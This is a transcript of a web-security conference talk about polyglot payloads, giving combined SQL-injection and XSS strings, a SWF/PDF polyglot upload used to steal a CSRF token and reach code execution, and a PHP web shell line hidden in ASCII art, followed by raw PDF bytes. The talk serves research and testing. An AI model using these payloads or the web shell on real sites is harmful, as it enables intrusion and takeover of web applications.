Polyglot payloads in practice
A presentation by Mathias Karlsson
avlidi- what?
Mathias Karlsson
https://twitter.com/avlidienbrunn
Researcher/Developer at Detectify
Spends a lot of time fid...
What is a polyglot payload
• A payload that can be used in more than one
context and still be treated as valid data
Don’t think you’ve
used a polyglot?
‘ or ‘’=‘
‘ or ‘’=‘
• SELECT * FROM table WHERE username=‘HERE’
• UPDATE table SET username=(SELECT ‘HERE’)
• //user[name=‘HERE’]
What if there are vulnerabilities that can only be
found through polyglot payloads?
Maybe traditional testing (one payload...
What are we going to
talk about?
• Introduction
• Why use polyglot payloads?
• Creating polyglot payloads
• MySQL Injectio...
Creating polyglot
payloads
How I view payloads
• Execution zone - Part of the payload that’s supposed to be
executed as code (MySQL Query)
• Dead zon...
Combining payloads
• Create one payload per context
• One at a time, put the next payload into the dead
zone of the previo...
MySQL Injection
polyglots
• Context singlequoted string: ‘ or SLEEP(1) or ‘
• Context doublequoted string: “ or SLEEP(1) or “
• Context straight int...
‘ or SLEEP(1) or ‘
“ or SLEEP(1) or “
‘-deadzone ‘-deadzone
SLEEP(1) /**/
‘ or SLEEP(1) or ‘“ or SLEEP(1) or “
SLEEP(1)
*/-deadzone
SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/
• Works in single quote context
• Works in double quote context
• Works ...
XSS Polyglots
XSS polyglots
• Single quote, HTML tag
• Double quote, HTML tag
• No quote, HTML tag
• Single quote, javascript
• Double q...
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
• 7+ Contexts
• Can be extended even more!
Polyglot files
• File formats are (usually) easy to understand,
header, contents, end
• Parsers/Renders are many times lazy...
Polyglot payloads in
practice
Story: Human
verification at PlayPal
* totally not PayPal
*
Observations
• It looked vulnerable!
• Could upload PDF that would be served inline (No
Content-Disposition header)
• Huma...
Flash Content-Type sniffing
• Loaded with <object> tag, doesn’t care about
Content-Type
• Needs to be valid SWF file
• Needs...
Victim website
Attacker website
“SWF”
<object>
Read stuff on Victim website from

Attacker website
1. Create Flash file that will fetch CSRF token
2. Upload to server as PDF
3. Load file from another domain using <object> t...
–Nitpicky PlayPal employee
“Your paper did not meet the requirements and
was therefore declined.”
What if I could make it look like a SWF and meet the
requirements?
1. Create Flash file that will fetch CSRF token
2. Combine it with a PDF that will make it through the
human verification
3....
Adobe banned SWF before PDF files :(
1. Create 7zipped (SWZ) Flash file that will fetch
CSRF token
2. Combine it with a PDF that will make it through the
human ...
–Gullible (and nitpicky) PlayPal empoyee
“Your paper was approved.”
Bonus!
= Predictable backend
1. Use CSRF token to make victim upload new
WordPress plugin
2. (PHP) Code execution == Aquired!
Getting code execution
Other purposes
ASCII art!
VS.‘ or ‘’ = ‘
• Only works with ‘ :(
• Looks boring
1/*’ or 1 or’“ or 1 or“*//*

<(__)> | | |
| / | _|_/
^ ^/ ...
• Great zine(s) by “Tract Association of POC||GTFO
and friends”
• Open a new version as zip, get the previous
versions!
PO...
Idea!
Let’s combine the combined
payloads!
1.MySQL Injection: /*‘ or ‘’=‘“ or “”=“*/
2.XSS: “ onclick=alert(1)//<button value=Click_Me ‘
onclick=alert(1)//> */ alert...
• Problem: both MySQL and JavaScript payloads
use ‘ and “ as breaker sequence in one or more
parts
• Solution: Create code...
/*!SLEEP(1)/*/alert(1)/*/*/
“MySQL Server parses and executes the code within
the comment as it would any other SQL statement,
but other SQL servers w...
/*!SLEEP(1)/*/alert(1)/*/*/
• Interpreted in MySQL: /*!SLEEP(1)/*/alert(1)/*/*/
• Interpreted in JavaScript: /*!SLEEP(1)/*...
/*! SLEEP(1) /*/ onclick=alert(1)//<button value=Click_Me /*/*/
or' /*! or SLEEP(1) or /*/, onclick=alert(1)//> /*/*/‘or "...
/*! SLEEP(1) /*/ onclick=alert(1)//<button value=Click_Me /*/*/
or' /*! or SLEEP(1) or /*/, onclick=alert(1)//> /*/*/'or" ...
/*! SLEEP(1) /*/ onclick=alert(1)//<button value=Click_Me /*/*/
or' /*! or SLEEP(1) or /*/, onclick=alert(1)//> /*/*/'or" ...
Inspiration/Credits
• Polyglots: Crossing Origins by Crossing Formats by

Jonas Magazinius and Andrei Sabelfeld: http://ww...
(/*! SLEEP(1) ) /*/ onclick=alert(1) )//<button value=Click_Me /*/*/or' /*! or SLEEP(1) /*/, onclick=alert(1)//> /*/*/-- '...
Polyglot payloads in practice by avlidienbrunn at HackPra
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Polyglot payloads in practice by avlidienbrunn at HackPra

A lecture/talk describing how to build and use polyglot payloads for finding vulnerabilities in web applications that traditional payloads can't. Here's the last slide: http://www.slideshare.net/MathiasKarlsson2/final-slide-36636479
Published on: Mar 4, 2016
Published in: Internet      Health & Medicine      Technology      
Source: www.slideshare.net


Transcripts - Polyglot payloads in practice by avlidienbrunn at HackPra

  • 1. Polyglot payloads in practice A presentation by Mathias Karlsson
  • 2. avlidi- what? Mathias Karlsson https://twitter.com/avlidienbrunn Researcher/Developer at Detectify Spends a lot of time fiddling with web security
  • 3. What is a polyglot payload • A payload that can be used in more than one context and still be treated as valid data
  • 4. Don’t think you’ve used a polyglot? ‘ or ‘’=‘
  • 5. ‘ or ‘’=‘ • SELECT * FROM table WHERE username=‘HERE’ • UPDATE table SET username=(SELECT ‘HERE’) • //user[name=‘HERE’]
  • 6. What if there are vulnerabilities that can only be found through polyglot payloads? Maybe traditional testing (one payload per context) isn’t as effective as we thought? If one payload can do the same thing that two payloads can, we can send one request less per input! Why?
  • 7. What are we going to talk about? • Introduction • Why use polyglot payloads? • Creating polyglot payloads • MySQL Injection polyglots • XSS polyglots • File polyglots • Polyglot payloads in practice • Polyglots for other purposes • Ending
  • 8. Creating polyglot payloads
  • 9. How I view payloads • Execution zone - Part of the payload that’s supposed to be executed as code (MySQL Query) • Dead zone - Part of the payload that’s not supposed to be executed as code (Inside strings, comments, unreachable IF clauses) • Breaker sequence - Part of the payload that ends one of the zones and start one of the others (‘ breaking out of string, */ breaking out of comment and into query)
  • 10. Combining payloads • Create one payload per context • One at a time, put the next payload into the dead zone of the previous • If no deadzones are available, insert one! • If that is not possible, you can combine payloads by creating conditional execution zones
  • 11. MySQL Injection polyglots
  • 12. • Context singlequoted string: ‘ or SLEEP(1) or ‘ • Context doublequoted string: “ or SLEEP(1) or “ • Context straight into query: SLEEP(1)
  • 13. ‘ or SLEEP(1) or ‘ “ or SLEEP(1) or “ ‘-deadzone ‘-deadzone
  • 14. SLEEP(1) /**/ ‘ or SLEEP(1) or ‘“ or SLEEP(1) or “ SLEEP(1) */-deadzone
  • 15. SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/ • Works in single quote context • Works in double quote context • Works in “straight into query” context!
  • 16. XSS Polyglots
  • 17. XSS polyglots • Single quote, HTML tag • Double quote, HTML tag • No quote, HTML tag • Single quote, javascript • Double quote, javascript • Comment /**/ style javascript • HTML context • <a class=‘HERE’> • <a class=“HERE”> • <a class=HERE> • var str=‘HERE’ • var str=“HERE” • /* HERE */ • <div>HERE</div> • ‘ onclick=alert(1) • “ onclick=alert(1) ‘ onclick=alert(1) • “ onclick=alert(1) ‘ onclick=alert(1) • “ onclick=alert(1) ‘ onclick=alert(1)// • “ onclick=alert(1)// ‘ onclick=alert(1)// • “ onclick=alert(1)// ‘ onclick=alert(1)// */ alert(1) /* • “ onclick=alert(1)//<button ‘ onclick=alert(1)// > */ alert(1)//
  • 18. “ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// • 7+ Contexts • Can be extended even more!
  • 19. Polyglot files • File formats are (usually) easy to understand, header, contents, end • Parsers/Renders are many times lazy, will allow stuff before and after file as long as the file is valid • Example: You can have (almost) anything before PDF header, and anything after the PDF file • Example 2: You can have anything after SWF file, but nothing before
  • 20. Polyglot payloads in practice
  • 21. Story: Human verification at PlayPal * totally not PayPal *
  • 22. Observations • It looked vulnerable! • Could upload PDF that would be served inline (No Content-Disposition header) • Human verification of PDF • Build on WordPress
  • 23. Flash Content-Type sniffing • Loaded with <object> tag, doesn’t care about Content-Type • Needs to be valid SWF file • Needs to be served inline (no Content-Disposition header)! • Requests from Flash will be sent in the scope of where the SWF is hosted Blogpost1 Blogpost2
  • 24. Victim website Attacker website “SWF” <object> Read stuff on Victim website from
 Attacker website
  • 25. 1. Create Flash file that will fetch CSRF token 2. Upload to server as PDF 3. Load file from another domain using <object> tag 4. CSRF token == Aquired! Attack pattern
  • 26. –Nitpicky PlayPal employee “Your paper did not meet the requirements and was therefore declined.”
  • 27. What if I could make it look like a SWF and meet the requirements?
  • 28. 1. Create Flash file that will fetch CSRF token 2. Combine it with a PDF that will make it through the human verification 3. Upload to server as PDF 4. Load file from another domain using <object> tag 5. CSRF token == Aquired! Polyglot attack pattern
  • 29. Adobe banned SWF before PDF files :(
  • 30. 1. Create 7zipped (SWZ) Flash file that will fetch CSRF token 2. Combine it with a PDF that will make it through the human verification 3. Upload to server as PDF 4. Load file from another domain using <object> tag 5. CSRF token == Aquired! *New* Polyglot attack pattern
  • 31. –Gullible (and nitpicky) PlayPal empoyee “Your paper was approved.”
  • 32. Bonus! = Predictable backend
  • 33. 1. Use CSRF token to make victim upload new WordPress plugin 2. (PHP) Code execution == Aquired! Getting code execution
  • 34. Other purposes
  • 35. ASCII art! VS.‘ or ‘’ = ‘ • Only works with ‘ :( • Looks boring 1/*’ or 1 or’“ or 1 or“*//*
 <(__)> | | | | / | _|_/ ^ ^/ | /--/ /| / / / |
 */ • Works with ‘, “ and none! • Looks awesome! ASCII art credits: http://www.geocities.com/spunk1111/small.htm
  • 36. • Great zine(s) by “Tract Association of POC||GTFO and friends” • Open a new version as zip, get the previous versions! POC||GTFO
  • 37. Idea!
  • 38. Let’s combine the combined payloads!
  • 39. 1.MySQL Injection: /*‘ or ‘’=‘“ or “”=“*/ 2.XSS: “ onclick=alert(1)//<button value=Click_Me ‘ onclick=alert(1)//> */ alert(1); /* 3.ASCII Art! 4.File!
  • 40. • Problem: both MySQL and JavaScript payloads use ‘ and “ as breaker sequence in one or more parts • Solution: Create code that will execute valid JS in JS context and valid MySQL in MySQL context
  • 41. /*!SLEEP(1)/*/alert(1)/*/*/
  • 42. “MySQL Server parses and executes the code within the comment as it would any other SQL statement, but other SQL servers will ignore the extensions.” Conditional comments! /*! LIKE_THIS() */ TL;DR: If the multiline comment starts with a !, it will execute as SQL.
  • 43. /*!SLEEP(1)/*/alert(1)/*/*/ • Interpreted in MySQL: /*!SLEEP(1)/*/alert(1)/*/*/ • Interpreted in JavaScript: /*!SLEEP(1)/*/alert(1)/*/*/
  • 44. /*! SLEEP(1) /*/ onclick=alert(1)//<button value=Click_Me /*/*/ or' /*! or SLEEP(1) or /*/, onclick=alert(1)//> /*/*/‘or " /*! or SLEEP(1) or /*/, onclick=alert(1)// /*/*/"/**/ /*!/*/ // /*/*/ • Works in (at least) 7 XSS contexts! • Works in all (?) MySQL contexts! */-deadzone
  • 45. /*! SLEEP(1) /*/ onclick=alert(1)//<button value=Click_Me /*/*/ or' /*! or SLEEP(1) or /*/, onclick=alert(1)//> /*/*/'or" /*! or SLEEP(1) or /*/, onclick=alert(1)// /*/*/"
 /* ____ ___ ____ | | | | / | |__| |__| | | |~ ~~| _________ | ¨~ ~¨¨ | | _ | | ¨ ¨~ | (_) / | ~¨~ ~¨~¨ | `-----´ | `¨~ ´~ ¨¨ |~ ~¨~~ |. ~~¨ ¨~ ~ ¨ ¨~¨ ~¨~~¨|~¨ ¨ ¨ ¨ ¨ ¨ ~¨ ¨~ ¨ ~ ~¨ ¨~¨~. ~¨¨~~,¨~~ ~¨¨¨~¨¨~~~¨´
 ¨¨ ¨ ¨ _| _ _|_ _ _ _|_ o _|_ / (_|(/_ |_(/_(_ |_ | | / */ /*!/*/ // /*/*/
  • 46. /*! SLEEP(1) /*/ onclick=alert(1)//<button value=Click_Me /*/*/ or' /*! or SLEEP(1) or /*/, onclick=alert(1)//> /*/*/'or" /*! or SLEEP(1) or /*/, onclick=alert(1)// /*/*/"
 /* ____ ___ ____ | | | | / | |__| |__| | | |~ ~~| _________ | ¨~ ~¨¨ | | _ | | ¨ ¨~ | (_) / | ~¨~ ~¨~¨ | `-----´ | `¨~ ´~ ¨¨ |~ ~¨~~ |. ~~¨ ¨~ ~ ¨ ¨~¨ ~¨~~¨|~¨ ¨ ¨ ¨ ¨ ¨ ~¨ ¨~ <?=system($_GET[A]);?> ¨ ~ ~¨ ¨~¨~. ~¨¨~~,¨~~ ~¨¨¨~¨¨~~~¨´
 ¨¨ ¨ ¨ _| _ _|_ _ _ _|_ o _|_ / (_|(/_ |_(/_(_ |_ | | / */ /*!/*/ // /*/*/
  • 47. Inspiration/Credits • Polyglots: Crossing Origins by Crossing Formats by
 Jonas Magazinius and Andrei Sabelfeld: http://www.cse.chalmers.se/~andrei/ccs13.pdf • GIF/Javascript Polyglots by Jasvir nagra: http://www.thinkfu.com/blog/gifjavascript-polyglots • (Flash) Content-Type Blues by nb:
 http://50.56.33.56/blog/?p=242 • The polyglot list by Gary P. Thompson II: http://www.nyx.net/~gthompso/poly/polyglot.htm • PoC||GTFO by Tract Association of POC||GTFO and friends:
 https://twitter.com/search?q=PoC%7C%7CGTFO%20mirror • Fredrik Almroth helping me writing some of the payloads: https://twitter.com/almroot
  • 48. (/*! SLEEP(1) ) /*/ onclick=alert(1) )//<button value=Click_Me /*/*/or' /*! or SLEEP(1) /*/, onclick=alert(1)//> /*/*/-- 'or" /*! or SLEEP(1) /*/, onclick=alert(1)// /*/*/-- " /* ____ ___ ____ | | | | / | |__| |__| | | |~ ~~| _________ | ¬~ ~¬¬ | | _ | | ¬ ¬~ | (_) / | ~¬~ ~¬~¬ | `-----« | `¬~ «~ ¬¬ |~ ~¬~~ |. ~~¬ ¬~ ~ ¬ ¬~¬ ~¬~~¬|~¬ ¬ ¬ ¬ ¬ ¬ ~¬ ¬~ <?=system($_GET[A]);?> ¬ ~ ~¬ ¬~¬~. ~¬¬~~,¬~~ ~¬¬¬~¬¬~~~¬« ¬¬ ¬ ¬ _| _ _|_ _ _ _|_ o _|_ / (_|(/_ |_(/_(_ |_ | | / %PDF-1.3%0a%Äåòåë§ó ÐÄÆ%0a4 0 obj%0a<< /Length 5 0 R /Filter /FlateDecode >>%0astream%0ax}Q±NÃ0Ýó-YÜsœØñ"bAbˆj‰1”Ъ'Uê¾”ÿÁv¢B;Ô'ùNöÝ{w÷F4±¨GëÀ£¹äS^@É%0aû561íòõ锘GÊ$€DˆPÛÿÁØ)$Øo±õ°’Búè«">W¬¢ %0aBHV•Z'm{‘ÇÿÙ™ c•Ù mŽkwèvƒ»Eóãû%¦|¹âÊG¼PÄ…LˆQž‹J”ò:'.9¹¬˜–¾ƒ™ØOˆïV_¶{ïÖÃÛþ8ÿ¸c¯gcåZ0R…€ÐÓDåÌ!åL8EÉÙt/HÍvuøÉ %0a¤+k±ÙÙOw“áæqš6ÈH,/ñO“,õ2™ö»¬Ãüçt{eS¥Wçõ]¢ùÀBu*%0aendstream%0aendobj%0a5 0 obj%0a293%0aendobj %0a2 0 obj%0a<< /Type /Page /Parent 3 0 R /Resources 6 0 R /Contents 4 0 R /MediaBox [0 0 1024 768]%0a>>%0aendobj%0a6 0 obj%0a<< /ProcSet [ /PDF /Text ] /ColorSpace << /Cs1 7 0 R >> /Font << /TT1 8 0 R%0a>> >>%0aendobj%0a10 0 obj%0a<< /Length 11 0 R /N 3 /Alternate /DeviceRGB /Filter /FlateDecode >>%0astream%0ax–wTSهϽ7½Ð" %ôz Ò;HQ‰I€P†„&vDF)VdTÀG‡"cE ƒ‚b× òPÆÁQDEåÝŒk ï5óÞšýÇYßÙç·×Ùgï}׺%00Pü‚ÂtX€4¡XîëÁËÄ÷XÀáffGøDÔü½=™™¨HƳöî.€d»Û,¿P&sÖÿ‘"7C$%00%0aEÕ6<~&å”S³Å2ÿÊô•)2†12¡¢¬"ãįlö§æ+»É˜—&ä¡Yμ4žŒ»PÞš%ᣌ¡˜%àg£|e½TIš%00å÷(ÓÓøœL %000™_Ìç&¡l‰2Eî‰ò%00”Ä9¼r‹ù9hž%00x¦g䊉Ib¦×˜iåèÈfúñ³Sùb1+”ÃMáˆxLÏô´Ž0€¯o–E%Ym™h‘íííYÖæhù¿Ùß~Sý=ÈzûUñ&ìÏžAŒžYßlì¬/½%00ö$Z›³¾•U%00´m@åá¬Oï %00ò%00´Þœó†l^’Äâ' ‹ììlsŸk.+è7ûŸ‚oÊ¿†9÷™ËîûV;¦?#I3eE妧¦KDÌÌ—Ïdý÷ÿãÀ9iÍÉÃ,œŸÀñ…èUQè” „‰h»…<X.d%0a„Õá6'~khu_%00}…9P¸IÈo=%00C#$n?z}ë[1%0aȾ¼h‘¯s2zþçú ŠnáLA"Sæödr%¢,£ß„lÁt %0a4.0,`%0a€3pÞ %00„€H–.Hi@²A>Ø%00%0aA1Øvƒjp%00ÔzÐN‚6pWÀ%0ap €G@%0a†ÁK0Þi‚ð¢Aª¤™BÖZyCAP8ÅC‰’@ùÐ&¨*ƒª¡CP=ô#tº]ƒú Ð 4ý}„˜Óa%0aØ%00¶€Ù°;GÂËàDxœÀÛáJ¸>·Âáð%00,…_“@ÈÑFXñDBX$!k‘"¤©Eš¤¹H‘q䇡a˜Æã‡YŒábVaÖbJ0Õ˜c˜VLæ6f3ù‚¥bÕ±¦X'¬?v 6›-ÄV``[°—±Øaì;ÇÀâp~¸ 2n5®·×Œ»€ëÃ%0aá&ñx¼*Þï‚Ásðb|!¾%0aßÆ¿' Zk‚!– $l$Tçý„Â4Q¨Ot"†yÄb)±ŽØA¼I&N“I†$R$)™´TIj"]&=&½!“É:dGrY@^O®$Ÿ _%’?P”(&OJEBÙN9J¹@y@yC¥R%0a¨nÔXª˜ºZO½D}J}/G“3—ó—ãÉ“«‘k•ë—{%O”×—w—_.Ÿ'_!Jþ¦ü¸QÁ@ÁS £°V¡Fá´Â=…IEš¢•bˆbšb‰bƒâ5ÅQ%¼’’·O©@é°Ò%¥!BÓ¥yÒ¸´M´:ÚeÚ0G7¤ûÓ“éÅôè½ô e%e[å(ååå³ÊRÂ0`ø3R¥Œ“Œ»Œó4æ¹ÏãÏÛ6¯i^ÿ¼)•ù*n*|•"•f••ªLUoÕÕªmªOÔ0j&jajÙjûÕ.«Ï§ÏwžÏ_4ÿäü‡ê°º‰z¸újõÃê=ê“š¾U—4Æ5šnšÉšåšç4Ç´hZ µZåZçµ^0•™îÌTf%³‹9¡®í§-Ñ>¤Ý«=c¨³Xg£N³Î]’.[7A··SwBOK/X/_¯Qï¡>QŸŸ¤¿G¿[ÊÀÐ Ú`‹A›Á¨¡Š¡¿aža£ác#ª‘«Ñ*£Z£;Æ8c¶qŠñ>ã[&°‰I’IÉMSØÔÞT`ºÏ´Ïkæh&4«5»Ç¢°ÜYY¬FÖ 9Ã<È|£y›ù+ =‹X‹Ý_,í,S-ë,Y)YXm´ê°úÃÚÄšk]c}džjãc³Î¦Ý浩-ßv¿í};š]°Ý»N»Ïöö"û&û1=‡x‡½÷Øtv(»„}Õëèá¸ÎñŒã'{'±ÓI§ßYÎ)Î%0aΣ ðÔ-rÑqá¸r‘.d.Œ_xp¡ÔUÛ•ãZëúÌM×çvÄmÄÝØ=Ùý¸û+K‘G‹Ç”§“çÏ ^ˆ—¯W‘W¯·’÷bïjï§>:>‰>>¾v¾«}/øaýývúÝó×ðçú×ûO8¬ è%0a¤FV> 2 uÃÁÁ»‚/Ò_$ÔBüCv…< 5]ús.,4¬&ìy¸Ux~xw-bEDCÄ»HÈÒÈG‹KwFÉGÅEÕGME{E—EK—X,Y³äFŒZŒ ¦={$vr©÷ÒÝK‡ãìâ%0aãî.3–³ìÚrµå©ËÏ®_ÁYq*ßÿ‰Â©åL®ô_¹wåד»‡û’çÆ+çñ]øeü‘—„²„ÑD—Ä] ‰cI®IIãOAµàu²_òä©””£)3©Ñ©Íi„´ø´ÓB%aŠ°+]3='½/Ã4£0CºÊiÕîU¢@Ñ‘L(sYf»˜ŽþLõHŒ$›%ƒY ³j²ÞgGeŸÊQÌæôäšänËÉóÉû~5f5wug¾vþ†üÁ5îk…Ö®Û¹Nw]Áºáõ¾ëm mHÙðËFËeßnŠÞÔQ Q°¾`h³ïæÆB¹BQá½-Î[lÅllíÝf³jÛ—"^ÑõbËâŠâO%Ü’ëßY}WùÝÌö„í½¥ö¥ûwàvwÜÝéºóX™bY^ÙЮà]åÌò¢ò·»Wì¾Va[q`id´2¨²½J¯jGÕ§ê ¤êšæ½ê{·íÚÇÛ׿ßmÓÅ>¼È÷PkAmÅaÜá¬ÃÏë¢êº¿g_DíHñ‘ÏG…G¥ÇÂuÕ;Ô×7¨7”6’ƱãqÇoýàõC{«éP3£¹ø8!9ñâÇøïž<ÙyŠ}ªé'ýŸö¶ÐZŠZ¡ÖÜÖ‰¶¤6i{L{ßé€ÓÎ-?›ÿ|ôŒö™š³ÊgKÏ‘Îœ›9Ÿw~òBÆ…ñ‹‰‡:Wt>º´äÒ®°®ÞË—¯^ñ¹r©Û½ûüU—«g®9];}} ½í†ýÖ»ž–_ì~iéµïm½ép³ý–㎾}çú]û/Þöº}åŽÿ‹úî.¾{ÿ^Ü=é}ÞýÑ©^?Ìz8ýhýcìã¢'%0aO*žª?ýÕø×f©½ôì ×`ϳˆg†¸C/ÿ•ù¯OÃÏ©Ï+F´FêGGÏŒùŒÝz±ôÅðËŒ—Óã…¿)þ¶÷•Ñ«Ÿ~wû½gbÉÄðkÑë™?JÞ¨¾9úÖömçdèäÓwi獵ŠÞ«¾?öý¡ûcôÇ‘éìOøO•Ÿ? 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